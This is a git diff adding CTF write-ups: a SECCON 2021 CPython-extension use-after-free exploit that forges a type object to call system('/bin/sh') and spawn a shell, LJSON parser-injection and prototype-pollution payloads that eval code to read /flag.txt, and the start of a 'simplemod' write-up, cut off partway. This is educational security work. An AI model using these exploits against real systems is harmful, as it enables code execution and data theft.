time an object gains a reference (for example by assigning it to a different variable) the reference count is incremented, and every time it loses a reference (for example, when `del` is used or a variable goes out of scope) the reference count is decremented. + +When the reference count reaches zero, the object is destroyed immediately. Optionally some specific destruction code can be ran before the object is freed and released to the allocator again. + +Note that this is a very primitive garbage collection algorithm compared to runtimes like Java and Go. Objects are simply freed on the main thread directly when the reference count reaches zero. For our purposes this is a good thing, as this makes it a lot less painful to exploit memory management bugs. + +# Finding the bug + + +So, looking at the module extension source, it declares a new type `seccon_tree.Tree`, which is defined as follows: + +```c +static PyTypeObject TreeType; + +typedef struct { + PyObject_HEAD + PyObject *object; + PyObject *left; + PyObject *right; +} Tree; + +static PyMethodDef TreeMethods[] = { + {"find", (PyCFunction)find_node, METH_VARARGS, "tree: find"}, + {"get_object", (PyCFunction)get_object, METH_VARARGS, "tree: get_object"}, + {"get_child_left", (PyCFunction)get_child_left, METH_VARARGS, "tree: get_child_left"}, + {"get_child_right", (PyCFunction)get_child_right, METH_VARARGS, "tree: get_child_right"}, + {"add_child_left", (PyCFunction)add_child_left, METH_VARARGS, "tree: add_child_left"}, + {"add_child_right", (PyCFunction)add_child_right, METH_VARARGS, "tree: add_child_right"}, + {NULL} +}; + +static PyTypeObject TreeType = { + PyVarObject_HEAD_INIT(NULL, 0) + "seccon_tree.Tree", /* tp_name */ + sizeof(Tree), /* tp_basicsize */ + 0, /* tp_itemsize */ + (destructor)Tree_dealloc, /* tp_dealloc */ + 0, /* tp_print */ + 0, /* tp_getattr */ + 0, /* tp_setattr */ + 0, /* tp_reserved */ + 0, /* tp_repr */ + 0, /* tp_as_number */ + 0, /* tp_as_sequence */ + 0, /* tp_as_mapping */ + 0, /* tp_hash */ + 0, /* tp_call */ + 0, /* tp_str */ + 0, /* tp_getattro */ + 0, /* tp_setattro */ + 0, /* tp_as_buffer */ + Py_TPFLAGS_DEFAULT, /* tp_flags */ + "my tree", /* tp_doc */ + 0, /* tp_traverse */ + 0, /* tp_clear */ + 0, /* tp_richcompare */ + 0, /* tp_weaklistoffset */ + 0, /* tp_iter */ + 0, /* tp_iternext */ + TreeMethods, /* tp_methods */ + 0, /* tp_members */ + 0, /* tp_getset */ + 0, /* tp_base */ + 0, /* tp_dict */ + 0, /* tp_descr_get */ + 0, /* tp_descr_set */ + 0, /* tp_dictoffset */ + 0, /* tp_init */ + 0, /* tp_alloc */ + Tree_new, /* tp_new */ +}; +``` + +So, the `Tree` object simply represents a node in a binary tree, with a left reference, a right reference and an inner object. Even though `left` and `right` are declared as `PyObject*` in the `Tree` struct, these fields can effectively only be set to another `Tree` object. A summary of the declared methods: + +- `get_child_left`, `get_child_right` fetch the `left` and respectively `right` fields of the `Tree` and return it after increasing their reference counts. +- `add_child_left`, `add_child_right` set the `left` and respectively `right` fields of the `Tree` to the supplied `Tree` after increasing its reference count. +- `get_object` returns the `object` field of the `Tree` after increasing its reference count. +- `find` traverses the `Tree` and tries to compare the `object` fields to the supplied object via `repr`. It returns the matching `Tree` (after increasing its reference count) on match or `None` if no match was found. +- `Tree_new` acts as allocator and initializer of the `Tree` in one, allocating memory for the object and setting its `object` field to the supplied argument. + - Normally this functionality is split up between `__new__` and `__init__` but this object seems to implement it in a single method, I am not sure if this is conventional or not. +- `Tree_dealloc` is calle whenever the reference count of the `Tree` drops to zero and frees the `Tree` struct. + +It's interesting to note that the fields of the `Tree` struct are not exposed as members, so expressions like `tree.object` will not work. + +After some manual review, I found a bug in `Tree_dealloc`: + +```c +static void +Tree_dealloc(Tree *self) +{ + Py_XDECREF(self->left); + Py_XDECREF(self->right); + Py_XDECREF(self->object); + + Py_TYPE(self)->tp_free((PyObject *) self); +} +``` + +Decrementing refcounts in deallocation functions in this manner is unsafe. If `self->object` has a reference count of one and implements a custom `__del__` method, this method is potentially still able to reference its associated `Tree` container, even though it will be unconditionally freed after. This can lead to a classic use-after-free condition, and optionally this can be converted to a double free. + +To properly exploit this, we should take a look at the `add_child_left` (or right) method: + +```c +static PyObject* +add_child_left(Tree *self, PyObject *args) { + PyObject *obj; + if (!PyArg_ParseTuple(args, "O!", &TreeType, &obj)) { + return NULL; + } + if (self->left != NULL) { + Py_DECREF(self->left); + } + Py_INCREF(obj); + self->left = obj; + + Py_RETURN_NONE; +} +``` + +If the `left` field is replaced with another `Tree`, the old `Tree`'s reference count is decremented, triggering `Tree_dealloc` if this was the only reference. `Tree_dealloc` will in turn decrement the old `Tree`'s `object` field reference count, which can trigger a custom `__del__` method. This method can then call `get_child_left` on the root `Tree`, which will increment the reference counter again, but since we're still in `Tree_dealloc`, the `Tree` will be freed. If we save the result of `get_child_left` to a global state we get a handle to a freed object. If we do not, the reference counter will decrease again after the object goes out of scope and we're left with a double free after `Tree_dealloc` gets called again. + +So, a basic proof of concept for the user-after-free would be: + +```python +from seccon_tree import Tree + +root = Tree('x') + +dangling_ref = None + +class Pwn: + + def __del__(self): + global dangling_ref + dangling_ref = root.get_child_left() + +def trigger(): + root.add_child_left(Tree(Pwn())) + + # Drop refcount of Pwn object, triggering destruction + root.add_child_left(Tree(None)) + +trigger() + +new_ref = Tree('a') + +print(dangling_ref) +print(new_ref) +``` + +Executing this in the docker container yields: + +```bash +user@c19c5a5d3718:/exp$ ./python3.9x poc.py + + +``` + +This scenario is not very exciting in itself, since the only thing we've turned the UAF into is a `Tree` with two references but an actual reference count of one, but demonstrates the vulnerability. + +Funnily enough, this apparently was not the intended bug! After the competition ended, the author revealed that the intended bug was actually in `find`: the comparison with `repr` would allow a malicious object to implement a `__repr__` method that would replace a node in the tree, causing an use-after-free as well. I assume that exploitation would be mostly the same after this point, as these are quite similar scenarios. + +## Exploitation + +I chose to first implement a standalone exploit that doesn't concern itself with the sandboxed environment as it saves us a great deal of pain, both implementation wise and debugging wise. Luckily the exploit worked in the sandbox without major changes. + +After creating the proof of concept it took me about three hours to get a shell. I made the mistake of treating this too much like a "normal" use-after-free scenario where you create a type confusion by allocating two different objects at the same location. For CPython this turned out to be impossible (or too hard) with `PyObject` types, as the interpreter dynamically deduces the types based on the `PyTypeObject` pointer, and as such there is no actually difference in behavior when operating on the value in two different contexts. For example: + +```python +from seccon_tree import Tree + +root = Tree('x') + +dangling_ref = None + +class X: + def __del__(self): + global dangling_ref + print("[+] Triggering UAF") + dangling_ref = root.get_child_left() + +def trigger(): + root.add_child_left(Tree(X())) + root.add_child_left(Tree(None)) + +trigger() + +# this seems to magically be allocated at the same spot as `dangling_ref` +confusion = bytes(10) +print(dangling_ref) +print(confusion) +input() +``` + +will yield: + +```bash +user@c19c5a5d3718:/exp$ ./python3.9x poc.py +[+] Triggering UAF +b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +``` + +After realizing this wasn't going to work, I opted for trying to get a `bytearray` allocation at the same location as the freed `Tree` (which probably should have been my first idea anyway). With allocation I don't mean the actual object, but rather where its contents are stored. + +Looking in [Include/cpython/bytearrayobject.h](https://github.com/python/cpython/blob/main/Include/cpython/bytearrayobject.h), this pointer is stored in the `ob_bytes` field of `PyByteArrayObject`: + +```c +typedef struct { + PyObject_VAR_HEAD + Py_ssize_t ob_alloc; /* How many bytes allocated in ob_bytes */ + char *ob_bytes; /* Physical backing buffer */ + char *ob_start; /* Logical start inside ob_bytes */ + Py_ssize_t ob_exports; /* How many buffer exports */ +} PyByteArrayObject; +``` + +We're lucky that `bytearray().__sizeof__() == 56` and `Tree(X()).__sizeof__() == 40`, so we can be fairly sure that the allocation of a `bytearray` itself will not inadvertedly get allocated at our target chunk. + +N.B: if you're not very familiar with python, the `bytearray` object is a mutable version of the `bytes` object. This is useful, as the data is stored in a seperate buffer instead of just appended to the object iself. Additionally, we can change the contents of the buffer after the object has been allocated which might make our life easier. + +The following code will successfully allocate a buffer of null bytes at the location of `dangling_ref`: + +```python +from seccon_tree import Tree + +root = Tree('x') + +dangling_ref = None + +class X: + def __del__(self): + global dangling_ref + print("[+] Triggering UAF") + dangling_ref = root.get_child_left() + +def trigger(): + root.add_child_left(Tree(X())) + root.add_child_left(Tree(None)) + +trigger() + +print(dangling_ref) +a = bytearray(40) +print(dangling_ref) +input() +``` + +```bash +user@c19c5a5d3718:/exp$ ./python3.9x poc.py +[+] Triggering UAF + +Segmentation fault (core dumped) +``` + +And we get our segfault! Examining the crash in gdb: + +``` +gef➤ r poc.py +Starting program: /exp/python3.9x poc.py +warning: Error disabling address space randomization: Operation not permitted +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". +[+] Triggering UAF + + +Program received signal SIGSEGV, Segmentation fault. +PyObject_Str (v=0x7f2166dccf00) at ../Objects/object.c:463 +463 ../Objects/object.c: No such file or directory. + +[ Legend: Modified register | Code | Heap | Stack | String ] +───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── +$rax : 0x00007f2166f9e740 → 0x00007f2166f9e740 → [loop detected] +$rbx : 0x00000000014bd900 → 0x0000000000000000 +$rcx : 0x0 +$rdx : 0x0 +$rsp : 0x00007ffc7f2e32f0 → 0x0000000000000001 +$rbp : 0x00000000014bf300 → 0x0000000000000000 +$rsi : 0x246 +$rdi : 0x00007f2166dccf00 → 0x0000000000000001 +$rip : 0x00000000005f81a1 → cmp QWORD PTR [rcx+0x88], 0x0 +$r8 : 0x0 +$r9 : 0x00000000014bdb80 → 0x00007f2166e588b0 → 0x00007f2166e5a1f0 → 0x00007f2166e56620 → 0x00007f2166e56670 → 0x00007f2166e566c0 → 0x00007f2166e5a2d0 → 0x00007f2166e56710 +$r10 : 0x8 +$r11 : 0x00007ffc7f2e32d8 → 0x0000000000000000 +$r12 : 0x00007f2166dccf00 → 0x0000000000000001 +$r13 : 0x1 +$r14 : 0x00000000015199f8 → 0x00007f2166ef74a0 → 0x0000000000000004 +$r15 : 0x00007f2166ef74a0 → 0x0000000000000004 +$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] +$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 +───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── +0x00007ffc7f2e32f0│+0x0000: 0x0000000000000001 ← $rsp +0x00007ffc7f2e32f8│+0x0008: 0x00007f2166f9e740 → 0x00007f2166f9e740 → [loop detected] +0x00007ffc7f2e3300│+0x0010: 0x0000000000000000 +0x00007ffc7f2e3308│+0x0018: 0x00007f2166e4fea0 → 0x0000000000000001 +0x00007ffc7f2e3310│+0x0020: 0x00007f2166dccf00 → 0x0000000000000001 +0x00007ffc7f2e3318│+0x0028: 0x000000000065862f → mov r12, rax +0x00007ffc7f2e3320│+0x0030: 0x0000000000000001 +0x00007ffc7f2e3328│+0x0038: 0x0000000000000000 +─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x5f818f mov rcx, QWORD PTR [r12+0x8] + 0x5f8194 cmp rcx, 0x9590a0 + 0x5f819b je 0x5f823a + → 0x5f81a1 cmp QWORD PTR [rcx+0x88], 0x0 + 0x5f81a9 je 0x4edaf3 + 0x5f81af mov rbp, QWORD PTR [rip+0x3adca2] # 0x9a5e58 <_PyRuntime+568> + 0x5f81b6 mov edi, DWORD PTR [rbp+0x20] + 0x5f81b9 mov rsi, QWORD PTR [rbp+0x10] + 0x5f81bd add edi, 0x1 +─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── +[#0] Id 1, Name: "python3.9x", stopped 0x5f81a1 in PyObject_Str (), reason: SIGSEGV +───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── +[#0] 0x5f81a1 → PyObject_Str(v=0x7f2166dccf00) +[#1] 0x65862f → PyFile_WriteObject(v=0x7f2166dccf00, f=, flags=) +[#2] 0x640777 → builtin_print(self=, args=0x1519a00, nargs=0x1, kwnames=) +[#3] 0x525c44 → cfunction_vectorcall_FASTCALL_KEYWORDS(func=0x7f2166ef74a0, args=0x1519a00, nargsf=, kwnames=) +[#4] 0x599267 → _PyObject_VectorcallTstate(kwnames=0x0, nargsf=, args=0x1519a00, callable=0x7f2166ef74a0, tstate=0x14bf300) +[#5] 0x599267 → PyObject_Vectorcall(kwnames=0x0, nargsf=, args=0x1519a00, callable=0x7f2166ef74a0) +[#6] 0x599267 → call_function(kwnames=0x0, oparg=, pp_stack=, tstate=0x14bf300) +[#7] 0x599267 → _PyEval_EvalFrameDefault(tstate=, f=, throwflag=) +[#8] 0x59734e → _PyEval_EvalFrame(throwflag=0x0, f=0x1519890, tstate=0x14bf300) +[#9] 0x59734e → _PyEval_EvalCode(tstate=, _co=, globals=, locals=, args=, argcount=, kwnames=0x0, kwargs=0x0, kwcount=, kwstep=0x2, defs=0x0, defcount=, kwdefs=0x0, closure=0x0, name=0x0, qualname=0x0) +─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + +gef➤ telescope 0x7f2166dccf00 +0x00007f2166dccf00│+0x0000: 0x0000000000000001 ← $rdi, $r12 +0x00007f2166dccf08│+0x0008: 0x0000000000000000 +0x00007f2166dccf10│+0x0010: 0x0000000000000000 +0x00007f2166dccf18│+0x0018: 0x0000000000000000 +0x00007f2166dccf20│+0x0020: 0x0000000000000000 +0x00007f2166dccf28│+0x0028: 0x0000000000000000 +0x00007f2166dccf30│+0x0030: 0x0000000000000001 +0x00007f2166dccf38│+0x0038: 0x0000000000958d20 → 0x0000000000000046 ("F"?) +0x00007f2166dccf40│+0x0040: 0x0000000000000002 +0x00007f2166dccf48│+0x0048: 0xffffffffffffffff +gef➤ +``` + +We've basically got the perfect primitive! Our 40 byte `bytearray` allocation is allocated exactly at the old address of the `Tree`, which we still have a reference to through our `dangling_ref`. Note that the first byte is `1` because of the fact that `print` increments the reference count of the object. + +Further exploitation is quite easy. We can overwrite the `PyObjectType` pointer of the `PyObject` to point to a buffer of arbitrary data. As a `PyObjectType` contains a bunch of function pointers, we should be able to easily get `rip` control. Even more fortunately, the (non-PIE) python executable links to `system`! Putting one and one together this shouldn't be too bad. We forge the `tp_repr` pointer to point to `system`, and set the reference count of the associated object to `"/bin/sh;"`. + +The following code gets us a shell: + +```python +from seccon_tree import Tree + +root = Tree('x') + +dangling_ref = None + +def p64(x): + return x.to_bytes(8, 'little') + +class X: + def __del__(self): + global dangling_ref + print("[+] Triggering UAF") + dangling_ref = root.get_child_left() + +def trigger(): + root.add_child_left(Tree(X())) + root.add_child_left(Tree(None)) + +trigger() + +print(dangling_ref) +a = bytearray(40) + +# This is a bit messy but putting the constants in variables +# seems to do heap things.. which is not desirable. + +# 0x956900: pointer to the type of PyObjectType itself +# 0x4214f0: pointer to the system routine + +r = p64(0xc) + p64(0x956900) + 2 * p64(0) + p64(0x28) + 6 * p64(0) + p64(0x4214F0) + 12 * p64(0) + +print(hex(id(r))) # print address of `r` + + +# Overwrite refcount of dangling_ref to be ".bin/sh;" +# repr will actually increase the reference count by one, so '.' + 1 = '/' +a[0:8] = b".bin/sh;" + + +# Set the PyObjectType pointer of dangling_ref to the values of `r` we declared above. +# The values start 0x20 bytes into the PyBytes object. +a[8:16] = p64(id(r) + 0x20) + +repr(dangling_ref) # trigger system("/bin/sh;") +``` + +``` +user@c19c5a5d3718:/exp$ ./python3.9x poc.py +[+] Triggering UAF + +0x7f33ade125d0 +$ id +uid=1000(user) gid=999(user) groups=999(user) +$ +``` + +Cool! Now comes the scary part, seeing whether this strategy is portable to the sandboxed environment. + +Luckily, there were only two problems I had to deal with: + +- The `class` keyword does not exist, so we can't declare types conventionally +- `global` is not a permitted keyword + +We can overcome 1) with an overload of the `type` initializer. `type(name, bases, dict)` returns a new type, and we can specify members in `dict`. + +We can overcome 2) by just using a global mutable data structure instead, like a `list`. + +The final exploit: + +```python +root = Tree('x') +dangling_ref = [] + +bytearray = dbg.Bytearray +print = dbg.Print +id = dbg.Id +hex = dbg.Hex +bytes = dbg.Bytes + +def p64(x): + return x.to_bytes(8, 'little') + + +def delfunc(x): + dbg.Print("[+] Triggering UAF") + dangling_ref.append(root.get_child_left()) + +# create our type in an unconventional manner +# "a".__class__.__class__ corresponds to `type` +X = "a".__class__.__class__("X", (), {"__del__":delfunc}) + + +# for some reason we now need to store this.. I'm not sure why +z = [] +def trigger(): + root.add_child_left(Tree(X())) + z.append(Tree(None)) + root.add_child_left(z[0]) + +trigger() + +print(dangling_ref[0]) +a = bytearray(40) + +# This is a bit messy but putting the constants in variables +# seems to do heap things.. which is not desirable. + +# 0x956900: pointer to the type of PyObjectType itself +# 0x4214f0: pointer to the system routine +r = p64(0xc) + p64(0x956900) + p64(0) + p64(0) + p64(0x28) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0x4214F0) + 12 * p64(0) + +# Print address of `r` +print(hex(id(r))) + +a[0:8] = b"/bin/sh;" +a[8:16] = p64(id(r) + 0x20) + +# if we just call print on the whole list it seems like we don't have the refcount problem +# print will call repr on the list, which will in turn call repr on every element +print(dangling_ref) +``` + +Note that you have to remove the comments in order to pass the check. + +``` +➜ ~ nc seccon-tree.quals.seccon.jp 30001 +[Proof of Work] +Submit the token generated by `hashcash -mb25 dekeqerfx` +1:25:211214:dekeqerfx::WJ5uhR6NTxZ++3jN:00000000Xkev +matched token: 1:25:211214:dekeqerfx::WJ5uhR6NTxZ++3jN:00000000Xkev +check: ok +Give me the source code url (where filesize < 10000). +Someone says that https://transfer.sh/ is useful if you don't have your own server +http://REDACTED:8000/exp.py +[+] Triggering UAF + +0x7fad95b8c300 +ls +banned_word +flag-2ed5991c0023b19e969ed2a7882a2d59 +run.py +seccon_tree.cpython-39-x86_64-linux-gnu.so +template.py +cat flag* +SECCON{h34p_m4n463m3n7_15_h4rd_f0r_hum4n5....} +``` + +Sure is, seeing how this bug was apparently unintended :p. + +## Conclusion + +I thought this was quite a nice challenge. I didn't have any experience with CPython internally before this, so I learned a lot about the interpreter. + +We first-blooded this challenge about 6 hours into the CTF. I was surprised to see that the second solve was finally made about 16 hours into the CTF, as I didn't think this was that hard of a challenge. Maybe the `find` bug was actually a lot harder to exploit? + +If the python binary would have had PIE, exploitation would be a bit harder, as you'd also have to leak libc or the executable base. I suppose you could leak values via the name or docstring field of the `PyTypeObject`though. + +Thanks to [moratorium08](https://twitter.com/moratorium08) for the great challenge! diff --git a/SECCON-2021/web/sequence_as_a_service.html b/SECCON-2021/web/sequence_as_a_service.html new file mode 100755 index 0000000..1733f53 --- /dev/null +++ b/SECCON-2021/web/sequence_as_a_service.html @@ -0,0 +1,319 @@ + + + + + +Sequence as a Service | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Sequence as a Service

+ +

Authors: bazumo, solved together with Nspace

+ +

Tags: web

+ +

Points: 205 (20 solves)

+ +
+

I’ve heard that SaaS is very popular these days. So, I developed it, too. +Note: It is possible to solve SaaS 2 even if you don’t solve SaaS 1.

+
+ +

This challenge had two parts, we solved the second one first and then found a likely unintended solution for both parts.

+ +

In this challenge, we were given the source of a web application. In short, on the website we could select a sequence (i.e factorial numbers) and get the n’th number of the sequence. The sequence was described in LJSON and the stringified version of it was sent together with n to the server.

+ +

LJSON

+ +

LJSON is a language that tries to extend JSON to support pure functions.

+

+// The object that provides the functions that we can use in LJSON
+const lib = {
+  "+": (x, y) => x + y,
+  "-": (x, y) => x - y,
+  "*": (x, y) => x * y,
+  "/": (x, y) => x / y,
+  ",": (x, y) => (x, y),
+  "for": (l, r, f) => {
+    for (let i = l; i < r; i++) {
+      f(i);
+    }
+  },
+  "set": (map, i, value) => {
+    map[i] = value;
+    return map[i];
+  },
+  "get": (map, i) => {
+    return typeof i === "number" ? map[i] : null;
+  },
+  "self": () => lib,
+};
+
+// LJSON can be stringified like this, unlike JSON is supports lamda functions. 
+const src = LJSON.stringify(($, n) =>
+  $(",",
+    $(",",
+      $("set", $("self"), 0, 1),
+      $("for",
+        0,
+        n,
+        i => $("set",
+          $("self"),
+          0,
+          $("*", $("get", $("self"), 0), 2),
+        ),
+      ),
+    ),
+    $("get", $("self"), 0),
+  ),
+);
+
+// src == "(a,b)=>(a(\",\",a(\",\",a(\"set\",a(\"self\"),0,1),a(\"for\",0,b,(c)=>(a(\"set\",a(\"self\"),0,a(\"*\",a(\"get\",a(\"self\"),0),2))))),a(\"get\",a(\"self\"),0)))"
+
+
+// The server would spawn a new node process and run our provided LJSON with the lib and our n.
+LJSON.parseWithLib(lib, src)(n)
+
+ +

LJSON works by creating javascript code from the src that then gets executed via eval with lib as an argument.

+ +

Diffing the two challenges, we concluded that the solution must include the self function of lib as it was absent in the second part.

+ +

After trying different things and accidentally solving part 2 we started to question wether we shouldn’t try to exploit the parser instead, which would solve both challenges and was probably not intended. Looking at the flag submission times of the other teams, there seemed to be quite a few who solved both challenges around the same time, indicating that their exploit targeted the parser.

+ +

After playing around with " and \ characters, we quickly found that the parser didn’t handle strings correctly and it was possible to eval whatever we wanted.

+ +

Our final payload was:

+ +
import requests
+
+r = requests.get('http://sequence-as-a-service-1.quals.seccon.jp:3000/api/getValue', params={
+    'sequence': """(a,b)=>(a("set",{},"asd","\\\\\\"), fs = require('fs'), text = fs.readFileSync('/flag.txt','utf8'), text})) //"))""",
+    'n': 3,
+})
+
+print(r.text)
+
+
+ +

FLAG: SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}

+ +

Sequence as a Service 2

+ +

SaaS 2 could be solved the same way, but we likely found the intended solution first. The code was almost identical to 1, except for self being gone and parsing and evaling 2 sequences instead of one.

+ +

The exploit goes as follows:

+ +

In the first sequence:

+
    +
  1. get __proto__ of lib by using set (setting __proto__ doesn’t actually set it)
  2. +
  3. set eval of lib.__proto__ to the number that toName would convert to eval again.
  4. +
+ +
(a,b)=>(a(",",a("get",{},"eval"),a("set",a("set",{},"__proto__","asdf"),"eval",193886)))
+
+ +

In the second squence:

+
    +
  1. use eval to execute code, the parser will allow it because it thinks eval is in the scope now because of the prototype pollution.
  2. +
+ +
eval("let s = function(s){const fs = require('fs'); var text = fs.readFileSync('flag.txt','utf8'); return text }; s;")
+
+ +

FLAG: SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}

+ +

Conclusion

+ +

We thought the challenges was quite cool. Javascript is fun!

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2021/web/sequence_as_a_service.md b/SECCON-2021/web/sequence_as_a_service.md new file mode 100755 index 0000000..6317bc9 --- /dev/null +++ b/SECCON-2021/web/sequence_as_a_service.md @@ -0,0 +1,120 @@ +## Sequence as a Service + +**Authors**: [bazumo](https://twitter.com/bazumo), solved together with [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags**: web + +**Points**: 205 (20 solves) + +> I've heard that SaaS is very popular these days. So, I developed it, too. +> Note: It is possible to solve SaaS 2 even if you don't solve SaaS 1. + +This challenge had two parts, we solved the second one first and then found a likely unintended solution for both parts. + +In this challenge, we were given the source of a web application. In short, on the website we could select a sequence (i.e factorial numbers) and get the n'th number of the sequence. The sequence was described in LJSON and the stringified version of it was sent together with n to the server. + +### LJSON + +LJSON is a language that tries to extend JSON to support pure functions. +```javascript + +// The object that provides the functions that we can use in LJSON +const lib = { + "+": (x, y) => x + y, + "-": (x, y) => x - y, + "*": (x, y) => x * y, + "/": (x, y) => x / y, + ",": (x, y) => (x, y), + "for": (l, r, f) => { + for (let i = l; i < r; i++) { + f(i); + } + }, + "set": (map, i, value) => { + map[i] = value; + return map[i]; + }, + "get": (map, i) => { + return typeof i === "number" ? map[i] : null; + }, + "self": () => lib, +}; + +// LJSON can be stringified like this, unlike JSON is supports lamda functions. +const src = LJSON.stringify(($, n) => + $(",", + $(",", + $("set", $("self"), 0, 1), + $("for", + 0, + n, + i => $("set", + $("self"), + 0, + $("*", $("get", $("self"), 0), 2), + ), + ), + ), + $("get", $("self"), 0), + ), +); + +// src == "(a,b)=>(a(\",\",a(\",\",a(\"set\",a(\"self\"),0,1),a(\"for\",0,b,(c)=>(a(\"set\",a(\"self\"),0,a(\"*\",a(\"get\",a(\"self\"),0),2))))),a(\"get\",a(\"self\"),0)))" + + +// The server would spawn a new node process and run our provided LJSON with the lib and our n. +LJSON.parseWithLib(lib, src)(n) +``` + +LJSON works by creating javascript code from the src that then gets executed via eval with lib as an argument. + +Diffing the two challenges, we concluded that the solution must include the `self` function of lib as it was absent in the second part. + +After trying different things and accidentally solving part 2 we started to question wether we shouldn't try to exploit the parser instead, which would solve both challenges and was probably not intended. Looking at the flag submission times of the other teams, there seemed to be quite a few who solved both challenges around the same time, indicating that their exploit targeted the parser. + +After playing around with `"` and `\` characters, we quickly found that the parser didn't handle strings correctly and it was possible to eval whatever we wanted. + +Our final payload was: + +```python +import requests + +r = requests.get('http://sequence-as-a-service-1.quals.seccon.jp:3000/api/getValue', params={ + 'sequence': """(a,b)=>(a("set",{},"asd","\\\\\\"), fs = require('fs'), text = fs.readFileSync('/flag.txt','utf8'), text})) //"))""", + 'n': 3, +}) + +print(r.text) + +``` + + +FLAG: `SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}` + + +### Sequence as a Service 2 + +SaaS 2 could be solved the same way, but we likely found the intended solution first. The code was almost identical to 1, except for `self` being gone and parsing and evaling 2 sequences instead of one. + +The exploit goes as follows: + +In the first sequence: +1. get `__proto__` of lib by using set (setting `__proto__` doesn't actually set it) +2. set `eval` of `lib.__proto__` to the number that [`toName` ](https://github.com/MaiaVictor/LJSON/blob/master/LJSON.js#L397) would convert to `eval` again. + +``` +(a,b)=>(a(",",a("get",{},"eval"),a("set",a("set",{},"__proto__","asdf"),"eval",193886))) +``` + +In the second squence: +1. use `eval` to execute code, the parser will allow it because it thinks `eval` is in the scope now because of the prototype pollution. + +``` +eval("let s = function(s){const fs = require('fs'); var text = fs.readFileSync('flag.txt','utf8'); return text }; s;") +``` + +FLAG: `SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}` + +### Conclusion + +We thought the challenges was quite cool. Javascript is fun! \ No newline at end of file diff --git a/SECCON-2022/index.html b/SECCON-2022/index.html new file mode 100755 index 0000000..7429e9f --- /dev/null +++ b/SECCON-2022/index.html @@ -0,0 +1,216 @@ + + + + + +SECCON CTF 2022 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

SECCON CTF 2022

+ + + + + + + + + + + + + + +
ChallengeCategory
simplemodpwn
+ + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2022/index.md b/SECCON-2022/index.md new file mode 100755 index 0000000..9dc0586 --- /dev/null +++ b/SECCON-2022/index.md @@ -0,0 +1,7 @@ +# SECCON CTF 2022 + +| Challenge | Category | +|----------------------------------|----------| +| [simplemod](./pwn/simplemod) | pwn | +|----------------------------------|----------| + diff --git a/SECCON-2022/pwn/img/dl_fixup.png b/SECCON-2022/pwn/img/dl_fixup.png new file mode 100755 index 0000000..d098e69 Binary files /dev/null and b/SECCON-2022/pwn/img/dl_fixup.png differ diff --git a/SECCON-2022/pwn/img/segv.png b/SECCON-2022/pwn/img/segv.png new file mode 100755 index 0000000..8d11f61 Binary files /dev/null and b/SECCON-2022/pwn/img/segv.png differ diff --git a/SECCON-2022/pwn/img/segv2.png b/SECCON-2022/pwn/img/segv2.png new file mode 100755 index 0000000..c8964a2 Binary files /dev/null and b/SECCON-2022/pwn/img/segv2.png differ diff --git a/SECCON-2022/pwn/simplemod.html b/SECCON-2022/pwn/simplemod.html new file mode 100755 index 0000000..2fca718 --- /dev/null +++ b/SECCON-2022/pwn/simplemod.html @@ -0,0 +1,751 @@ + + + + + +simplemod | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

simplemod

+ +

Author: gallileo

+ +

Tags: pwn, eldritch magic

+ +

Points: 470

+ +

After having a blast playing Codegate finals in Seoul the weekend before, we decided it would be fun to play SECCON Quals while on vacation in Osaka. +Little did I know, what eldritch horror would await me in such an innocently named challenge.

+ +

Setup

+ +

The challenge consists of a very simple main binary called chall and a dynamic library libmod.so which chall links against. +The source code for both is provided1 and chall is indeed very simple:

+ +
#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+int getint(void);
+void modify(void);
+__attribute__((noreturn)) void exit_imm(int status);
+
+__attribute__((constructor))
+static int init(){
+	alarm(30);
+	setbuf(stdin, NULL);
+	setbuf(stdout, NULL);
+	return 0;
+}
+
+__attribute__((destructor))
+static void fini(){
+	exit_imm(0);
+}
+
+static int menu(void){
+	puts("\nMENU\n"
+			"1. Modify\n"
+			"0. Exit\n"
+			"> ");
+
+	return getint();
+}
+
+int main(void){
+	puts("You can operate 30 times.");
+	for(int i=0; i<30; i++){
+		switch(menu()){
+			case 0:
+				goto end;
+			case 1:
+				modify();
+				puts("Done.");
+				break;
+		}
+	}
+
+end:
+	puts("Bye.");
+	return 0;
+}
+
+ +

You have access to a simple menu allowing you to call modify up to 30 times, after which the binary will simply exit. +The three functions getint, modify, exit_imm are provided by libmod and hence dynamically linked. +fini immediately pops out as looking a bit suspicious. +It is a destructor, meaning it will be called before we exit.

+ +

libmod is not much more complex and looks as follows:

+ +
#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+
+#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)
+
+char gbuf[0x100];
+
+static int getnline(char *buf, int size){
+	int len;
+
+	if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
+		return -1;
+
+	if(buf[len-1]=='\n')
+		len--;
+	buf[len] = '\0';
+
+	return len;
+}
+
+int getint(void){
